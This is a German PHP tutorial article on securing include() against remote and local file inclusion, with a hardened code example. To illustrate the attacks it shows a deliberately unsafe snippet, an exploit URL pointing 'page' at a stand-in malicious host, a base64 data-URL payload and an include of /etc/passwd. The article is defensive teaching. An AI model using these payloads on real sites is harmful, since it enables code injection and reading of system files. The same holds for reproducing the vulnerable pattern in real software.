Zum Inhalt springen

PHP-Sicherheit: include() absichern

  • Fabian Ziegler 
  • Zuletzt aktualisiert am
  • Lesezeit ca. 4 min.

Leider sind sich viele PHP-Anfänger nicht über die Macht der include()-Funktion bewusst. So lassen sich mit dieser auch entfernte Dateien, Dateien die über den Browser nicht aufrufbar sind oder Dateien außerhalb des eigenen Webspaces laden.

Hierzu 2 Beispiele:

  1. Externe Dateien:
    Ein include('http://www.domain.de/datei.xxx'); wird von PHP ausgeführt. Wenn die externe Datei nun selbst PHP-Code enthält, so wird dieser vom PHP-Interpreter geladen, als wäre es eigener Code. Somit lässt sich also fremder Code einschleusen.
  2. Dateien außerhalb des Webspace:
    Hiermit lassen sich z.B. alle User einer UNIX-Maschine auslesen (include('/etc/passwd');)

Schutz durch den Adminstrator?

Diese möglichen Sicherheitslücken lassen sich natürlich vermeiden. Hierzu kann bereits der Serveradministrator Methoden einsetzen, auf diese wird dieser Artikel aber nur kurz eingehen, da man sich als Entwickler nicht auf solche Methoden verlassen sollte. Vielmehr sind sie als zusätzlicher Schutz für den Server anzusehen.

include() absichern

Die Konfiguration von PHP bieten einige Möglichkeiten um include()-Angriffe zu vereiteln. So kann der Aufruf von entfernten Dateien unterbunden werden (Option: allow_url_fopen). Hierbei werden allerdings alle anderen Zugriffe auf entfernte Dateien auch unterbunden, wodurch bestimmte Scripts nicht mehr können.

Seit PHP 5.2 kann auch nur das Einbinden externer Dateien (Option: allow_url_include) unterbunden werden. Gleichzeitig führt PHP 5.2 aber Methoden ein um base64-kodierten Code oder direkte Eingaben als Datei zu verwenden (Beispiel: include("data:;base64,PD9waHAgcGhwaW5mbygpOz8+");), wodurch neue Lücken aufgerissen werden können.

Beide Methoden bringen also weitere Probleme oder decken nur einen Teil der möglichen Angriffsvektoren ab.

Zugriff auf Dateien außerhalb des eigenen Webspaces verhindern

Auch über die Dateirechte auf dem Server können Angriffe vermieden werden. Erhält der Webserver keinen Zugriff auf systeminterne Konfigurationsdateien, so kann auch kein externer Angreifer das über PHP. Auch der Zugriff auf Dateien fremder Webspaces sollte unbedingt unterbunden werden.

Beispiel: include() von einem PHP-Anfänger

ACHTUNG: Dieser Quelltext ist unsicher und sollte so nie verwendet werden!

<?php if (isset($page)) { include($page . '.php'); } else { include('startpage.php'); } ?>

Hier wäre es nun sehr einfach möglich durch den Aufruf von http://www.beispiel.de/index.php?page=http://www.boese-seite.de/code Code einzuschleusen. Deswegen merke:

Traue nie Daten, die vom Benutzer kommen!

Zusätzlich zur fehlenden Prüfung der vom Browser übermittelten Daten, wird hier vorausgesetzt, dass register_globals aktiv ist. Die dadurch möglicherweise entstehenden Sicherheitsprobleme sollen aber der Inhalt eines anderen Artikels sein.

Absichern von include()

Als erster Schritt sollte ausgeschlossen werden, dass entfernte Dateien geladen werden können. Eine Eigenschaft von file_exists() ist hierbei sehr hilfreich: Bei entfernten Dateien liefert die Funktion immer false zurück. Somit können entfernte Dateien – inklusive data-URLs, die oben beschrieben werden – erkannt werden und gleichzeitig geprüft werden ob die gesuchte Datei überhaupt existiert.

Um zu verhindern, dass Dateien außerhalb des eigenen Webspaces geladen werden können muss als weiterer Schritt noch eine weitere Prüfung erfolgen. Der Einfachheit halber und weil es für die meisten der Seiten mit include()-Fehlern ausreicht werden folgende Voraussetzungen gesetzt:

  • Alle Dateien befinden sich in einem eigenen Verzeichnis (hier content/)
  • Die Dateien befinden sich in einer flachen Struktur ohne Unterverzeichnisse
  • Alle Dateien enden auf „.php“
  • Der GET-Parameter „page“ gibt – wie im Beispiel oben – die angeforderte Seite an, ohne Dateierweiterung oder Pfad
<?php
/* Standardseite, die eingebunden werden soll */
$ipage = 'content/startpage.php';
if (isset($_GET['page'])) {
  /* Mit basename() wird der Dateiname extrahiert, Beispiel: basename('foo/bar') -> 'bar' */
  $page = basename($_GET['page']);
  /* temporäre Variable für den vollen Pfad der Datei */
  $tpage = 'content/' . $page . '.php'; /* Test ob die Datei lokal existiert */
  if (file_exists($tpage)) { 
    /* $ipage wird nur verändert, wenn alle Bedingungen zutreffen */
    $ipage = $tpage;
  }
}
include($ipage);
?>

Verwendung von readfile()

Werden keine dynamischen Seiten eingebunden kann man statt include() auch readfile() verwenden. Bei allen Seiten, bei denen ein Frameset durch PHP ersetzt werden soll, ist das meist ausreichend. Im Gegensatz zu include() liest readfile() die Datei ein und gibt den Inhalt unverändert aus. Somit kann kein fremder Code ausgeführt werden.

Trotzdem bleibt die Gefahr, dass Dateien ausgelesen werden können die nicht gewünscht sind (beispielsweise Konfigurationsdateien für die MySQL-Verbindung) oder die Gefahr einer Cross-Site-Scripting-Lücke weshalb auch hier eine Prüfung/Sicherung der Parameter wie in obigen Code passieren sollte.

Fabian Ziegler
Letzte Artikel von Fabian Ziegler (Alle anzeigen)